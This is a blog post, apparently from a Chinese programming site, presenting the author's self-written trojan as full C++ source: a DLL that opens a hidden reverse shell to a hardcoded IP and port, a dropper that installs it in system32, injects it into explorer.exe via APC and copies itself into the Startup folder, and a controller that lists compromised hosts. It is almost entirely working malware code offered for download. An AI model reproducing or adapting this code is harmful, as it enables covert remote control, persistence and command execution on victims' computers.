zoukankan      html  css  js  c++  java
  • 自己尝试编写的一个木马


    1:服务端的DLL文件

    // rspDoor.cpp : Defines the entry point for the DLL application.
    //

    #include 
    "stdafx.h"
    #include 
    <windows.h>
    #include 
    "rspDoor.h"

    BOOL SocketInit()
    {
        WSADATA wsaData 
    = {0};
        
    if ( WSAStartup(MAKEWORD(22), &wsaData) == NO_ERROR ) {
            
    return TRUE;
        }
    else{
            
    return FALSE;
        }
    }

    int SendData(SOCKET m_Sock, void *pBuf, DWORD dwBufLen)
    {
        
    if ( m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0 ) {
            
    return -1;
        }
        
    int iCurrSend = 0, offset = 0;
        
    do {
            iCurrSend 
    = send(m_Sock, (char *)pBuf+offset, dwBufLen, 0);
            
    if ( iCurrSend <= 0 ) {
                
    break;
            }
            dwBufLen 
    -= iCurrSend;
            offset 
    += iCurrSend;
        } 
    while ( dwBufLen > 0 );
        
    return offset;
    }

    BOOL bExit 
    = FALSE;
    #define RECV_BUF_LEN 4096
    #define CMD_BUF_LEN 500

    DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
    {
        CThreadNode tNode 
    = *(CThreadNode *)lpParam;
        
    char szBuf[RECV_BUF_LEN] = {0};
        DWORD dwReadLen 
    = 0, dwTotalAvail = 0;
        BOOL bRet 
    = FALSE;
        
    while ( !bExit ) {
            dwTotalAvail 
    = 0;
            bRet 
    = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
            
    if ( bRet && dwTotalAvail > 0 ) {
                bRet 
    = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);
                
    if ( bRet && dwReadLen > 0 ) {
                    SendData(tNode.m_Sock, szBuf, dwReadLen);
                }
            }
            Sleep(
    50);
        }
        
    return TRUE;
    }

    BOOL StartShell(UINT uPort, LPCSTR lpszIpAddr)
    {
        
    if ( !SocketInit() ) {
            
    return FALSE;
        }
        SOCKET m_ConnectSock 
    = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        
    if ( m_ConnectSock == INVALID_SOCKET ) {
            
    return FALSE;
        }

        sockaddr_in sServer 
    = {0};
        sServer.sin_family 
    = AF_INET;
        sServer.sin_addr.s_addr 
    = inet_addr(lpszIpAddr);
        sServer.sin_port 
    = htons(uPort);
        
        
    int iRet = 0;
        
    do {
            iRet 
    = connect(m_ConnectSock, (sockaddr*)&sServer, sizeof(sServer));
        } 
    while ( iRet == SOCKET_ERROR );

        
    //Ready for the pipe;
        SECURITY_ATTRIBUTES sa = {0};
        HANDLE hReadPipe 
    = NULL, hWritePipe = NULL;
        sa.nLength 
    = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor 
    = NULL;
        sa.bInheritHandle 
    = TRUE;
        
    if ( !CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) ) {
            
    return FALSE;
        }
        
        
    //Ready for the CreateProcess function;
        PROCESS_INFORMATION pi = {0};
        STARTUPINFO si 
    = {0};
        si.cb 
    = sizeof(STARTUPINFO);
        GetStartupInfo(
    &si);
        si.dwFlags 
    = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.hStdOutput 
    = si.hStdError = hWritePipe;
        si.wShowWindow 
    = SW_HIDE;

        
    //Ready for the CreateThread function;
        DWORD dwThreadID = 0;
        CThreadNode m_ReadNode;
        m_ReadNode.m_Sock 
    = m_ConnectSock;
        m_ReadNode.hPipe 
    = hReadPipe;
        HANDLE hThread 
    = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0&dwThreadID);

        
    int iRecved = 0;
        TCHAR szCmdLine[CMD_BUF_LEN] 
    = {0}, szBuf[RECV_BUF_LEN] = {0}, szCmdBuf[CMD_BUF_LEN] = {0};
        
    while ( TRUE ) {
            ZeroMemory(szBuf, RECV_BUF_LEN);
            iRecved 
    = recv(m_ConnectSock, szBuf, RECV_BUF_LEN, 0);
            
    if ( iRecved > 0 && iRecved != SOCKET_ERROR ) {
                strcat(szCmdBuf,szBuf);
                
    if ( _tcsstr(szCmdBuf, _T("\n")) ) {
                    
    //Run the command;
                    ZeroMemory(szCmdLine, CMD_BUF_LEN);
                    GetSystemDirectory(szCmdLine, CMD_BUF_LEN);
                    strcat(szCmdLine,_T(
    "\\cmd.exe /c "));
                    strncat(szCmdLine,szCmdBuf, _tcslen(szCmdBuf));
                    
    if ( !CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {
                        
    continue;
                    }
    else{
                        ZeroMemory(szCmdBuf, CMD_BUF_LEN);
                    }
                }
            }
    else{
                closesocket(m_ConnectSock);
                bExit 
    = TRUE;
                WaitForSingleObject(hThread, INFINITE);
                
    break;
            }
            Sleep(
    100);
        }
        WSACleanup();
        
    return TRUE;
    }

     DWORD WINAPI ThreadProc(LPVOID lpParam)
     {
             StartShell(
    9527, _T("192.168.10.112"));
             
    return 0;
     }

    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        
    switch (ul_reason_for_call)
        {
            
    case DLL_PROCESS_ATTACH:
                 CreateThread(NULL, 
    0, ThreadProc, NULL, 0, NULL);
                 
    break;
            
    case DLL_THREAD_ATTACH:
            
    case DLL_THREAD_DETACH:
            
    case DLL_PROCESS_DETACH:
                
    break;
        }
        
    return TRUE;
        
    }

    2:执行DLL插入和启动

    // rookit.cpp : Defines the entry point for the application.
    //

    #include 
    "stdafx.h"
    #include 
    "resource.h"
    #include 
    <stdio.h>
    #include 
    <stdlib.h>
    #include 
    <Tlhelp32.h>
    #define    SystemUp    "rspDoor.dll"
    DWORD WINAPI StartShell(LPVOID lpParam);

    typedef HANDLE (__stdcall 
    *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
    typedef 
    struct _TIDLIST
    {
    DWORD dwTid ;
    _TIDLIST 
    *pNext ;
    }TIDLIST;

    DWORD EnumThread(HANDLE hProcess, TIDLIST 
    *pThreadIdList)
    {
        
    TIDLIST 
    *pCurrentTid = pThreadIdList ;

    const char szInjectModName[] = "C:\\WINDOWS\\system32\\rspDoor.dll" ;
    DWORD dwLen 
    = strlen(szInjectModName) ;

    PVOID param 
    = VirtualAllocEx(hProcess, \
             NULL, dwLen, MEM_COMMIT 
    | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

    if (param != NULL)
    {
       DWORD dwRet ;
       
    if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
       {

        
    while (pCurrentTid)
        {
            
            HMODULE hDll 
    = ::LoadLibrary("Kernel32.dll"); 
            OPENTHREAD lpfnOpenThread 
    = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread"); 
          HANDLE hThread 
    = lpfnOpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid);

         
    if (hThread != NULL)
         {
          
    //
          
    // 注入DLL到指定进程
          
    //
          
          QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (unsigned 
    long)param);
         }

         printf(
    "TID:%d\n", pCurrentTid->dwTid) ;
         pCurrentTid 
    = pCurrentTid->pNext ;
        }
       }
    }
    return 0 ;
    }
    //////////////////////////////////////////
    //////////////////////////////////////////////////
    DWORD GetProcID(const char *szProcessName)
    {
    PROCESSENTRY32 pe32 
    = {0} ;
    pe32.dwSize 
    = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot 
    = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
       
    return 0xFFFFFFFF ;
    }

    if (!Process32First(hSnapshot, &pe32))
    {
       
    return 0xFFFFFFFF ;
    }

    do
    {
       
    if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
       {
        printf(
    "%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
        
    return pe32.th32ProcessID ;
       }
    while(Process32Next(hSnapshot, &pe32));

    return 0xFFFFFFFF ;

    }
    ////////////////////////////////////
    ///////////////////////////////////////////////////////////
    TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
    {
    TIDLIST 
    *pCurrent = NULL ;
    TIDLIST 
    *pNewMember = NULL ;

    if (pdwTidListHead == NULL)
    {
       
    return NULL ;
    }
    pCurrent 
    = pdwTidListHead ;

    while (pCurrent != NULL)
    {

       
    if (pCurrent->pNext == NULL)
       {
        
    //
        
    // 定位到链表最后一个元素
        
    //
        pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

        
    if (pNewMember != NULL)
        {
         pNewMember
    ->dwTid = dwTid ;
         pNewMember
    ->pNext = NULL ;
         pCurrent
    ->pNext = pNewMember ;
         
    return pNewMember ;
        }
        
    else
        {
         
    return NULL ;
        }
       }
       pCurrent 
    = pCurrent->pNext ;
    }

    return NULL ;
    }

    int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
    {
    int i = 0 ;

    THREADENTRY32 te32 
    = {0} ;
    te32.dwSize
    = sizeof(THREADENTRY32) ;

    HANDLE hSnapshot 
    = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

    if(hSnapshot != INVALID_HANDLE_VALUE)
    {
       
    if(Thread32First(hSnapshot,&te32))
       {
        
    do
        {
         
    if(te32.th32OwnerProcessID==dwPID)
         {
          
    if (pdwTidList->dwTid == 0)
          {
           pdwTidList
    ->dwTid = te32.th32ThreadID ;
          }
          
    else
          {
           
    if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
           {
            printf(
    "插入失败!\n") ;
            
    return 0 ;
           }
          }
        
         }
        }
    while(Thread32Next(hSnapshot,&te32));
       }
    }
    return 1 ;
    }

    DWORD WINAPI StartShell(LPVOID lpParam)
    {
      TIDLIST 
    *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
        
        
    if (pTidHead == NULL)
        {
            
    return 1 ;
        }
        RtlZeroMemory(pTidHead, 
    sizeof(TIDLIST)) ;
        
        DWORD dwPID 
    = 0 ;
        
        
    if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
        {
            printf(
    "进程ID获取失败!\n") ;
            
    return 1 ;
        }
        
        
    //
        
    // 枚举线程ID
        
    //
        EnumThreadID(dwPID, pTidHead) ;
        
        HANDLE hProcess 
    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
        
        
    if (hProcess == NULL)
        {
            
    return 1 ;
        }
        EnumThread(hProcess, pTidHead) ;
        
        
    return 0;
    }

    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         
    int       nCmdShow)
    {
        
          HRSRC hResInfo;
          HGLOBAL hResData;
          DWORD dwSize,dwWritten;
          HANDLE hFile;
          
    char SystemPath[MAX_PATH] = {0};
          GetSystemDirectory( SystemPath , MAX_PATH );
          
    int len = strlen(SystemPath)-1;
          
    if (  SystemPath[len] != '\\' )
            strcat(SystemPath,
    "\\");
          strcat(SystemPath,SystemUp);
          
          
    //查询所需的资源
          hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_DLL1),"Dll");
          
    if(hResInfo == NULL)
          {
             
    return 0;
          }
          
          
    //获得资源尺寸
          dwSize = SizeofResource(NULL,hResInfo);
          
    //装载资源
          hResData = LoadResource(NULL,hResInfo);
          
    if(hResData == NULL)
          
    return 0;
          
    //写文件

          hFile 
    = CreateFile(SystemPath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
          
    if(hResData == NULL)
          
    return 0;
          WriteFile(hFile,(LPCVOID)LockResource(hResData),dwSize,
    &dwWritten,NULL);
          CloseHandle(hFile);
        
    ////////////////////////////////////////////
          
    ///////////////////////////////////////
        char szPath[100]={0};
        ::GetSystemDirectory(szPath,MAX_PATH);
        
    char    szDst[100]={0};
        
    for (int i=0; i<3;i++)
            szDst[i]
    =szPath[i];
        strcat(szDst,
    "Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\mao.exe");


        TCHAR szTmp[MAX_PATH]
    ={0};
        
    if(!GetModuleFileName(NULL,szTmp,sizeof(szTmp)))
        {
            
            
    return 0;
        }
        
    int r;  
        r
    =strcmp(szTmp,szDst);
        
    if(!r)
        {
            
    goto stop;
        }
            
        
    if(!CopyFile(szTmp,szDst,FALSE))
        {
            
    return 0;
        }


    stop:
        
        
    //printf("\n\t 现在的目录是%s\n",szDst);

        
    //得到当前程序名
        TCHAR szCurPath[MAX_PATH];
        memset(szCurPath,   
    0,   MAX_PATH);  
        GetModuleFileName(NULL,   szCurPath,   
    sizeof(szCurPath)/sizeof(TCHAR));

        
    if (!(MoveFileEx(szCurPath,"c:\\FK.BAK",MOVEFILE_REPLACE_EXISTING |MOVEFILE_COPY_ALLOWED)))//若是要在不同的volume下移动文件,需要此项 COPY_ALLOWED

            ::MessageBox(NULL,
    "第一次移动文件失败","test",MB_OK);   

            
    if(!::MoveFileEx("c:\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))
            {
                ::MessageBox(NULL,
    "移动文件失败","test",MB_OK);   
            }
            
    else printf("任务完成\n");
            
    /*system("pause");*/
       

            
    //创建并等待线程
            
    //StartShell 为后门线程函数,大家可以自己实现相应的功能
            HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
           
    //::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
           
    // CloseHandle(hthread);
            ::WaitForSingleObject(hthread,INFINITE);
            CloseHandle(hthread);
            
    return 0;
        
    ////////////////////////////////////////////
    }



    3:客户端:

    // stdafx.cpp : source file that includes just the standard includes
    //    server.pch will be the pre-compiled header
    //    stdafx.obj will contain the pre-compiled type information

    #include 
    "stdafx.h"
    #include
    <afxtempl.h> 
    #include 
    "inc.h"
    #include 
    "Resource.h"
    #include 
    "serverDlg.h"
    HANDLE hThreadOutput, hThreadInput;
    SOCKET sendsock;
    CArray 
    <CThreadNode, CThreadNode> m_ClientArray;
    extern int iteam;
    DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
    {
        
    /*CServerDlg *tNode = (CServerDlg *)lpParam;
        while ( TRUE ) 
        {
        CString sCmd= ""; 
        tNode->GetDlgItemText(IDC_EDIT2,sCmd);
        if(sCmd.IsEmpty()==0)
        {
        DecodeCMD(&sCmd);
        TRACE("\n CMD = %s",sCmd);
        sCmd=sCmd+"\r\n";
        send ( tNode->m_Sock , sCmd , sCmd.GetLength(),0);
        }
        tNode->SetDlgItemText(IDC_EDIT2,"");
        Sleep(1000);
        }
    */
        
    return TRUE;
    }

    int SendData(SOCKET m_Sock, void *pBuf, DWORD dwBufLen)
    {
        
    if ( m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0 ) {
           
    return -1;
        }
        
    int iCurrSend = 0, offset = 0;
        
    do {
           iCurrSend 
    = send(m_Sock, (char *)pBuf+offset, dwBufLen, 0);
           
    if ( iCurrSend <= 0 ) {
            
    break;
           }
           dwBufLen 
    -= iCurrSend;
           offset 
    += iCurrSend;
        } 
    while ( dwBufLen > 0 );
        
    return offset;
    }

    void DecodeCMD(CString *pStr)
    {
        CString Tcmd 
    = *pStr;
        
    if ( Tcmd[0!= '-' )
            
    return;
        
    char* p = Tcmd.GetBuffer(256);
        
    char* startp = p+1;
        
    while ( *(++p) == ' ' );

        
    char cmdtype[16= {0};
        
    int Len = Tcmd.GetLength()-1;
        
    char* p1 = strstr(p," ");
        
    char* p2 = NULL;
        
    if ( p1 )
        {
            memcpy(cmdtype,p,p1
    -p);
            
    while ( *p1 == ' ' )
                p1
    ++;
        }
        
    else
            memcpy(cmdtype,p,strlen(p));
        
            Sleep(
    1000);
        }

    DWORD WINAPI ThreadInputProc(LPVOID lpParam)
    {
        CThreadNode tNode 
    = *(CThreadNode *)lpParam;
        
    while ( TRUE) 
        {
            
    if(tNode.m_pMainWnd->bShutDown=TRUE)
            {
                
    if ( SOCKET_Select(tNode.mm_Sock, 100, TRUE) )
                {
                    TCHAR szBuf[MAX_BUF_SIZE] 
    = {0};
                    
    int iRet = recv(tNode.mm_Sock, (char *)szBuf, MAX_BUF_SIZE, 0);
                    CString strMsg 
    = szBuf;
                    
    if ( iRet > 0 ) 
                    {    
                        strMsg 
    = _T("客户端:"+ strMsg;
                        tNode.m_pMainWnd
    ->ShowMsg(strMsg);
                        tNode.m_pMainWnd
    ->bShutDown=FALSE;
                    }
                    
    else
                    {
                       strMsg 
    =tNode.m_strIp+ _T("客户端下线");
                       AfxMessageBox(strMsg);
                       
    //tNode.m_pMainWnd->ShowMsg(strMsg);
                       if(tNode.m_pMainWnd->m_caller_list.GetItemText(iteam,1)==tNode.m_strIp)
                       {
                         tNode.m_pMainWnd
    ->m_caller_list.DeleteItem(iteam);
                       }
                       
    break;
                    }
                    Sleep(
    1000);
                }
            }
        }
        
    return TRUE;
    }

    DWORD WINAPI ListenThreadFunc(LPVOID pParam)
    {
        CServerDlg 
    *pChatRoom = (CServerDlg *)pParam;
        ASSERT(pChatRoom 
    != NULL);
        pChatRoom
    ->m_ListenSock = socket(AF_INET , SOCK_STREAM , IPPROTO_TCP);
        
    if ( pChatRoom->m_ListenSock == INVALID_SOCKET ) {
            AfxMessageBox(_T(
    "新建Socket失败!"));
            
    return FALSE;
        }

        
    int iPort = pChatRoom->GetDlgItemInt(IDC_LISTEN_PORT);
        
    if ( iPort <= 0 || iPort > 65535 ) {
            AfxMessageBox(_T(
    "请输入合适的端口:1 - 65535"));
            
    goto __Error_End;
        }

        sockaddr_in service;
        service.sin_family 
    = AF_INET;
        service.sin_addr.s_addr 
    = INADDR_ANY;
        service.sin_port 
    = htons(iPort);
        
    if ( bind(pChatRoom->m_ListenSock, (sockaddr*)&service, sizeof(sockaddr_in)) == SOCKET_ERROR ) {
            AfxMessageBox(_T(
    "绑定端口失败!"));
            
    goto __Error_End;
        }

        
    if( listen(pChatRoom->m_ListenSock, 5== SOCKET_ERROR ) {
            AfxMessageBox(_T(
    "监听失败!"));
            
    goto __Error_End;
        }
        AfxMessageBox(_T(
    "监听成功!"));
        
    while( TRUE ) {
            
    if ( SOCKET_Select(pChatRoom->m_ListenSock, 100, TRUE) ) {
                sockaddr_in clientAddr;
                
    int iLen = sizeof(sockaddr_in);
                SOCKET accSock 
    = accept(pChatRoom->m_ListenSock, (struct sockaddr *)&clientAddr , &iLen);
                
    if (accSock == INVALID_SOCKET) {
                    
    continue;
                }
                AfxMessageBox(_T(
    "肉鸡上线"));
                CThreadNode  m_ReadNode;
                m_ReadNode.mm_Sock 
    =accSock;
                m_ReadNode.m_pMainWnd 
    = pChatRoom;
                m_ReadNode.m_strIp 
    = inet_ntoa(clientAddr.sin_addr);
                
    int idx = m_ClientArray.Add(m_ReadNode);
                CString mao;
                mao.Format(
    "%d",idx);
                pChatRoom
    ->m_caller_list.InsertItem( 0, mao );
                pChatRoom
    ->m_caller_list.SetItemText(0,1,m_ReadNode.m_strIp);
                
    //AfxMessageBox(m_ReadNode.m_strIp);
                sendsock=accSock;
                hThreadInput 
    = CreateThread(NULL, 0, ThreadInputProc, &m_ReadNode, 00);
                Sleep(
    100);
            }
        }

    __Error_End:
        closesocket(pChatRoom
    ->m_ListenSock);
        
    return TRUE;
    }

    BOOL SOCKET_Select(SOCKET hSocket, 
    int nTimeOut, BOOL bRead)
    {
        fd_set fdset;
        timeval tv;
        FD_ZERO(
    &fdset);
        FD_SET(hSocket, 
    &fdset);
        nTimeOut 
    = nTimeOut > 1000 ? 1000 : nTimeOut;
        tv.tv_sec 
    = 0;
        tv.tv_usec 
    = nTimeOut;

        
    int iRet = 0;
        
    if ( bRead ) {
           iRet 
    = select(0&fdset, NULL , NULL, &tv);//可读性Socket
        }else{
           iRet 
    = select(0, NULL , &fdset, NULL, &tv);//可写性Socket
        }

        
    if(iRet <= 0) {
           
    return FALSE;
        } 
    else if (FD_ISSET(hSocket, &fdset)){
           
    return TRUE;
        }
        
    return FALSE;
    }

    /Files/tt_mc/rookit.rar

     /Files/tt_mc/server.rar

  • 相关阅读:
    【java基础知识】1
    【android】工程基本文件介绍
    【sqlite权威指南】笔记3 sqlite入门
    【sqlite权威指南】笔记2 sqlite介绍
    【sqlite权威指南】笔记1 概述
    【sqlite】1 start
    【操作系统】笔记8 存储器
    【操作系统】笔试7 汇编
    【操作系统】笔记6 java基本类型及运算
    【操作系统】笔记5
  • 原文地址:https://www.cnblogs.com/tt_mc/p/1659132.html
Copyright © 2011-2022 走看看